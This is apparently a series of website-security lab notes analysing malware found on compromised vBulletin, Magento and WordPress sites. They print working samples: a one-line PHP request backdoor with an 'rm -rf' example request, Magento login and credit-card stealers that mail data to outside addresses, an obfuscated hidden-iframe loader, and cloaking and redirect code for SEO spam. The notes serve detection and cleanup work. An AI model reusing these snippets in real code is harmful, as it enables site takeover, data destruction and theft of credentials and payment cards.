A very common pattern in compromised websites is the presence of backdoors and other malicious codes. Attackers use different techniques and malware to abuse of server resources, distribute spam and at the same time, maintain access to the site for as long as they can.

One of the most used backdoors for that purpose is the C99 web shell. For those of you who are not familiar with it, C99 is a variation of the WSO shell with additional functionalities. It pretty much allows the attacker to manage your website remotely, including executing arbitrary remote commands directly into your system, navigate through a file manager interface, read arbitrary file and much more.

This kind of shell is most typically found on files but recently we found it on a database within a vBulletin site. vBulletin is a prime candidate for database based backdoors due to the ability that the CMS grants to running PHP directly from the database without any kind of control.

One of the most used table to store malicious content is the vBulletin ‘datastore’ table, more specifically the ‘pluginlist’ record, through this table they can easily add any kind of PHP code and that code will become part of any plugin that is installed on the website.

Sometimes the attackers also add the malicious code as an entire plugin by adding it on the ‘plugin’ table. In this case, we have a plain regular shell appearing when we access /forum.php/subscriptions.php

The path where it is accessible may look strange but on vBulletin the requests are handled by forum.php instead of the common index.php.

Upon tracing it we found the culprit in the database within the ‘plugin’ table:

From the image above, we see 2 records posing as init_startup plugins. This is a highly unusual scenario as it’s not valid for more than 1 plugin to have the same name within vBulletin.

We identified the plugins responsible for displaying the shell, however those still need to have an occurrence within the ‘pluginlist’ row inside the ‘datastore’ table for it to be actually enabled and act on the site.

By taking a quick look at those records, we found various pieces of malicious code

s:12:"init_startup";s:63824:"if (strpos($_SERVER['PHP_SELF'],'subscriptions.php')) {eval(gzinflate(base64_decode('CODE REMOVED')));exit;}
if (strpos($_SERVER['PHP_SELF'],"subscriptions.php")) {eval(gzinflate(base64_decode('CODE REMOVED')));exit;}";

When checking the database entry, we see 2 sets of codes that have the same purpose which may indicate that different attackers exploited the same vulnerability through an automated system and added the same malware.The funny thing is that after the first “exit” instruction, the second set of code becomes non-functional as it will no longer be read by the server and executed.

In other words, the first attacker compromised the site and then the second one attempted the exact same thing but since the “init_startup” already existed, their system simply infected the already existing plugin. Since the first infection was the regular shell and not the c99, this means that the c99 did not work.

There was also another small but powerful malware added into the database

s:15:"global_complete";s:60:"if(isset($_REQUEST['x'])){$_REQUEST['x']($_REQUEST['y']);}";s:16:"showthread_start";

Through this code the entire forum is a backdoor regardless of the area you are in, all that is required is to send and instruction through any request such as $_GET or $_POST like “forum.php?x=shell_exec&y=rm -rf ./”, it may look an extremely simple and small set of instructions but it’s more than enough to delete all the files of the site. Many other instructions can be sent to take other actions such as infect the site with other kinds of malware. What if the infections had some sort of incompatibility between each other? And what if the result was destructive to your website?

There are many things that can go wrong as soon as your website becomes vulnerable, so it’s extremely important to keep it secure at all times and ensure that you have a firewall protection  otherwise you never know what the next infection may bring.

Lately we've been dealing with an increase in attacks against ecommerce platforms. Attackers usually choose this type of solution (like Magento & others) because of the sensitive information on credit cards they can extract, as well as other potential monetary gains.

Different from other cases where they went straight to the checkout process, attackers injected a malware inside the core file "app/code/core/Mage/Admin/Model/Session.php" directly after the code used to authenticate an admin user.The malicious code is collecting the submitted information and sending it to a Gmail account via the mail function.

mail("malicious-email","Admin From ".$_SERVER['HTTP_HOST'],"Login : ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."nUsername : ".$username."nPassword : ".$password."nIP Log : ".$_SERVER['REMOTE_ADDR']);

Once login credentials are obtained, a malicious user could not only access the credit card information from the database but modify the site and add malware to infect users visiting the website. The website where this malware was found ran on Magento 1.9.0.1 which is known to have a remote code execution vulnerability. We believe this to be the attack vector used to compromise this website and inject this malware along with other malicious files.

It appears that Magento sites are being targeted heavily. In most cases we see credit cards being stolen but it looks like login credentials are also being collected. We recommend keeping your Magento installations up to date at all times. If you are unable to upgrade your Magento, we recommend placing the site behind our Website Firewall (CloudProxy ) which will virtually patch the CMS.

Last but not least, we recently published two other techniques that attackers may use to steal back-end credentials. You can check those here:

Magento Login credentials stealer

Magento CC stealer adding user's credentials to the loot

For many years, spam injections placed inside legitimate pages remain one of the prevalent types of black hat SEO hacks that we clean. Hackers constantly invent new tricks to make spam blocks invisible to human visitors while indexable by search engines.

The simplest trick is to put spam content inside a <div> with the display:none style. This is quite straightforward and easy to detect. A more complex evolution of the same idea is making the <div> invisible at pageload time using a JavaScript code like this:

document.getElementById(‘spam-div-id’),style.display = ‘none’;

It’s still easy to see which <div> is being hidden by the above code. So the next step in the obfuscation was a dynamic generation of the spam div ids inside the code. We described this approach in the “Double Hidden Style” labs note a couple of years ago. Hackers used random “numeric” div ids and mathematical expressions to generate the ids in the code:

<div id="232">...spammy content here...</div>
<script>document.getElementById(116*2).style.display='none';</script>

The code still looks suspicious as it’s clear that it makes something invisible. So hackers improved the obfuscation - in addition to a more complex mathematical expression, now instead of the suspicious “display” and “none” you can only see benign “play” and “one”.

<script>(function(g,h,i,f){i.getElementById(f).style['dis'+g]='n'+h;})('play','one',document,214*102+105);</script>

The script remains short but it’s not that easy to tell what it does when you first see it. However, when you look at it more thoroughly, you can notice that it does exactly the same thing - hides an HTML element with a “numeric” id:

document.getElementById(214*102+105).style[‘display’]=’none’;

This is just one line of the spam-hiding code evolution. There are many other approaches that hackers use to hide spam injections from human visitors and make them look legitimate for search engines. We are here to help you detect them and remove malware from your sites.

Injecting malware into core files of CMS installations is one of the techniques attackers use. From the user’s perspective, it is easier to detect and remediate such cases if they are using a File Integrity Monitoring system. On the other hand, if they are not monitoring file changes, they could be afraid of modifying such core files, therefore leaving the website infected.

During an incident response investigation, we identified the following obfuscated javascript injection in the WordPress core file “wp-includes/general-template.php”, after the _wp_render_title_tag() function:

function _wp_render_title_tag() {/*general-template.php content*/echo "<script type=\"text/javascript\">
(function(){var dazhyaft=\"\";var ybfsrany=\"77696e646f772e6f6e6c6f6164203d2066756e6374696f6e28297b
66756e6374696f6e20783232627128612c622c63297b69662863297b7661722064203d206e6577204461746528293b642e73657…
223b646f63756d656e742e626f64792e617070656e644368696c64287832326471293b7d7d\";for (var kytiafaz=0;kytiafaz<ybfsr
any.length;kytiafaz+=2){dazhyaft=dazhyaft+parseInt(ybfsrany.substring(kytiafaz,kytiafaz+2), 16)+\",\";}dazhyaft=dazh
yaft.substring(0,dazhyaft.length-1);eval(eval('String.fromCharCode('+dazhyaft+')'));})();
</script>";/*general-template.php content*/

After decoding the snippet, the resulting code shows that a hidden div element is being created and an iframe loads inadvertent ads from hxxp://css(dot)belayamorda(dot)info to be displayed to the user:

window.onload = function(){function x22bq(a,b,c){if(c){var d = new Date();d.setDate(d.getDate()+c);}
if(a && b) document.cookie = a+'='+b+(c ? '; expires='+d.toUTCString() : '');else return false;}
function x33bq(a){var b = new RegExp(a+'=([^;]){1,}');var c = b.exec(document.cookie);if(c) c = c[0].split('=');
else return false;return c[1] ? c[1] : false;}var x33dq = x33bq("981a2d4e141fa25ceb17c79b9e0ee049");
if( x33dq != "c5ba5b8128ad05ae33785022d9e5b54c"){x22bq("981a2d4e141fa25ceb17c79b9e0ee049","c5ba5b8128ad05ae33785022d9e5b54c",1);
var x22dq = document.createElement("div");var x22qq = "hxxp://css(dot)belayamorda(dot)info/megaadvertize/?IQRnEBD&
keyword=c7d84cf6c52e44cbf494014dfc02d644&DSrLnkZjqC=BSdtLdwZ&vizGGpXMTbm=NZntgCeGxhrN&
twXzSBMLVmkBdsV=filjyodeEPIQPmysLRB&;pdWAGdxIyxfw=mALvqaAUeBl&BFELVKttdIedUh=wLQEMhvAaxckLF";
x22dq.innerHTML="<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='"
+x22qq+"'></iframe></div>";document.body.appendChild(x22dq);}}

As you can see the ads are hidden using the div element, they are pushed -1000px in order to be outside the screen but Google and other search engines can still see it and index it. This could be easily missed when reviewing the website if you are only looking at the live version of your website. Since the Search Engines are able to fetch the content, the site could get penalized and added into their Blacklist.

If you follow best security practices and have a monitoring integrity system in place as we mentioned in the beginning, you should be able to identify such issue and remediate it quickly by replacing the CMS core files. If you don’t, we highly recommend adding that piece into your website and a Website Firewall to prevent such issues from happening.

Website defacement is still a big issue for various website owners. It directly impacts on your online presence / visibility and as a consequence, it may get your website flagged as “Hacked” by different search engines.

Recently, our team found an interesting case where the defacement page was not just an HTML page. This type of defacement used a different technique that made not only its detection harder, but also harder for a search engine to identify such pages as dangerous resources.

As many of you know, images are not applied to the metadata that the search engine find in order to index your website. If you don’t have a file monitoring system in place, you may never be able to identify the issue unless you visit the defaced resource yourself or receive a message from a visitor / client.

The following snippet is an example of the technique being used by attackers:

<html>    <body>       <?php $image_url='url/to/the/defaced/image'; ?>       <img src="<?php echo $image_url;?>">    </body><html>

Beware that attackers may use different techniques to deface a website. This one however,  is hidden from the search engines. An issue may only be detected if you are constantly monitoring your website or have a Website Firewall Protection to prevent this from happening.

If you think that you are victim of an attack and want your website checked, you can rely on the security analyst professionals here at Sucuri.

Lately, we’ve uncovered and detailed lots of techniques being used against e-commerce platforms to steal sensitive information, mostly credit card and login credentials. With the holiday season approaching, e-commerce platforms become an even higher target due to increase in sales during the season.

In this incident response case, attackers used server resources, more specifically the mail() function to send all the sensitive data after assembling it in a very interesting way.

During our analysis, we identified the following malicious code added into the file ‘./app/code/core/Mage/Checkout/Model/Type/Onepage.php’:

$a = getenv('REMOTE_ADDR');$a = json_decode(file_get_contents("hxxp://www(.)geoplugin(.)net/json(.)gp?ip={$a}"));$datasend.="Visit = ".$a->geoplugin_city." | ".$a->geoplugin_region." | ".$a->geoplugin_countryName."n";$binCC = substr($data['cc_number'], 0, 6); $subject = "Verify Mag ".$data['cc_type']." ".$binCC." ".$a->geoplugin_countryName;
                $headers = "MIME-Version: 1.0n";$ar=array("0"=>"h","1"=>"i","2"=>"a","3"=>"@","4"=>"s","5"=>"t","6"=>"p","7"=>"o","8"=>".","9"=>"m","10"=>"e","11"=>"g","12"=>"c","13"=>"r","14"=>"l","15"=>"n","16"=>"y","17"=>"b","18"=>"k","19"=>"u","20"=>"d");$recipient=$ar["6"].$ar["7"].$ar["4"].$ar["5"].$ar["11"].$ar["0"].$ar["7"].$ar["4"].$ar["5"].$ar["1"].$ar["6"].$ar["3"].$ar["11"].$ar["9"].$ar["2"].$ar["1"].$ar["14"].$ar["8"].$ar["12"].$ar["7"].$ar["9"];$sendd=$ar["6"].$ar["7"].$ar["4"].$ar["5"].$ar["3"].$ar["11"].$ar["10"].$ar["5"].$ar["2"].$ar["20"].$ar["20"].$ar["13"].$ar["8"].$ar["15"].$ar["10"].$ar["5"];mail($recipient,$subject,$datasend,$headers);mail($sendd,$subject,$datasend,$headers);

The code fetches geo location information, such as IP Address, Country, Region, City and adds into the variable $datasend, along with sensitive credit card info.

In addition to that, attackers also declared a set of characters into an array ($ar) and then, carefully crafted the content assigned to the variables $recipient and $sendd - ‘postghostip(at)gmail.com’ and ‘post(at)getaddr.net’ respectively.

Once the string is crafted and attackers have all the information they need, they send it through a mail() function to the address previously mentioned.

These type of file modifications can be easily detected if you have in place a File Integrity Monitoring System. It’s also very important to check your http / ftp logs in order to detect the entry point and vulnerability that attackers may be taking advantage of. Last but not least, we also recommend deploying a Website Firewall solution to prevent future attacks.

I was assisting a client with their compromised website and came across a file called unsave.php that was primarily used to inject a rewrite into the .htaccess file so that the SEO spam payload of the file goday.php could be delivered to certain visitors sent to the directory hosting these files:

{
 if ((filesize(".htaccess"))>100)
 {
 $out = fopen("../.htaccess", "w");
 fwrite ($out, "RewriteEngine On
 RewriteRule ^([A-Za-z0-9-]+).html$ goday.php?hl=$1 [L]");
 fclose($out); 
 }

The added RewriteRule will cause the web server to serve the goday.php file whenever a visitor sends a request for a .html file in this directory.

The goday.php file will then validate the incoming request based on the IP address, HTTP referrer, and the HTTP user-agent. The file itself looks to target certain keywords in order to alter their ranking, so it’s only interested in serving the SEO spam data to visitors that match its requirements for a search engine:

if (!strpos($_SERVER["HTTP_USER_AGENT"], "Googlebot")===false 
 || !strpos($_SERVER["HTTP_USER_AGENT"], "crawler")===false 
 || !strpos($_SERVER["HTTP_USER_AGENT"], "bot")===false 
 || !strpos($_SERVER["HTTP_USER_AGENT"], "yahoo")===false 
 || !strpos($_SERVER["HTTP_USER_AGENT"], "bot")===false)
{
 if ((filesize(".htaccess"))>100)
 {
 $out = fopen("../.htaccess", "w");
 fwrite ($out, "");
 fclose($out); 
 }
echo $page;
}
else
{header("Location: http://coolin[.]in/for/77?d=$d&mykeys=$mykeys&da=0910");
exit;
}

If the requisites are met, then the goday.php script sends the $page variable which contains a webpage that is generated on the fly. They are able to do this on-the-fly SEO keyword spam by having multiple templates that are just web pages that do not have any text on them until the goday.php script adds the keywords. Here is an example of one of the templates before it has been filled with the SEO keywords:

If the requisites aren’t met, the goday.php script will instead redirect the visitor to their affiliate/pay-per-click URL which ends up sending them to a pornographic website through their affiliate ID. They try to monetize the request either through SEO spam keyword rank boosting or by sending the visitor through their affiliate URL.

One of the interesting functions included in the injector file, unsave.php, was the following:

There are WordPress and other CMS plugins that scan website files and when they find a file that is deemed malicious then the plugin will append the “.suspected” text to the end of the filename so the file cannot continue to be executed through the browser. The function (shown above) demonstrates how a malicious user could take this into consideration and incorporate functions within their malware to automatically rename .suspected files when they are found. Then it would be able to circumvent the renaming of the file by the security plugin and continue serving the payload within the goday.php file.

If you need any help while dealing with issues similar to this one, don't hesitate to contact us. 🙂

This note is related to our recent blog post about a web spam infection via zip file upload